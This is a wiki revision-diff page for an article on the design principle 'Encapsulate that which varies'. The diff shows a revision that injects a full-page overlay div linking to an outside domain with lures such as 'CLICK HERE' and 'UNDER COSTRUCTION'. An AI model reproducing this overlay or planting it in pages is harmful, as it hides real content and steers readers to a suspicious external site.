Encapsulate that which varies

From CSSEMediaWiki
(Difference between revisions)
Jump to: navigation, search
m
Line 1: Line 1:
''"The only constant is change"'' - Heraclitus
+
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://axufizyfe.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]=
 +
----
 +
=[http://axufizyfe.co.cc CLICK HERE]=
 +
----
 +
</div>
 +
''&quot;The only constant is change&quot;'' - Heraclitus
  
It is almost certain that at some point in time functionality of any program will need to change. It is very hard to predict specifics of future requirements, but is easier to predict what parts of the system might change. These parts that may change should be hidden behind interfaces (ie Encapsulated) to help minimize the effects caused by changes in these parts. A simple, every-day example is an instance variable hidden behind  a getter and/or setter. As long as the rest of your system is programmed to the interface you are "hiding" behind, variations in the components will have no effect outside of themselves.
+
It is almost certain that at some point in time functionality of any program will need to change. It is very hard to predict specifics of future requirements, but is easier to predict what parts of the system might change. These parts that may change should be hidden behind interfaces (ie Encapsulated) to help minimize the effects caused by changes in these parts. A simple, every-day example is an instance variable hidden behind  a getter and/or setter. As long as the rest of your system is programmed to the interface you are &quot;hiding&quot; behind, variations in the components will have no effect outside of themselves.
  
 
When writing software, have a look to see what might vary in the future, and plan for it. Do not attempt to add the functionality (see [[keep it simple]]), but use interfaces/encapsulation to allow any future functionality to be added easily.
 
When writing software, have a look to see what might vary in the future, and plan for it. Do not attempt to add the functionality (see [[keep it simple]]), but use interfaces/encapsulation to allow any future functionality to be added easily.

Revision as of 06:29, 24 November 2010


"The only constant is change" - Heraclitus

It is almost certain that at some point in time functionality of any program will need to change. It is very hard to predict specifics of future requirements, but is easier to predict what parts of the system might change. These parts that may change should be hidden behind interfaces (ie Encapsulated) to help minimize the effects caused by changes in these parts. A simple, every-day example is an instance variable hidden behind a getter and/or setter. As long as the rest of your system is programmed to the interface you are "hiding" behind, variations in the components will have no effect outside of themselves.

When writing software, have a look to see what might vary in the future, and plan for it. Do not attempt to add the functionality (see keep it simple), but use interfaces/encapsulation to allow any future functionality to be added easily.

Conflicts

See Also

Personal tools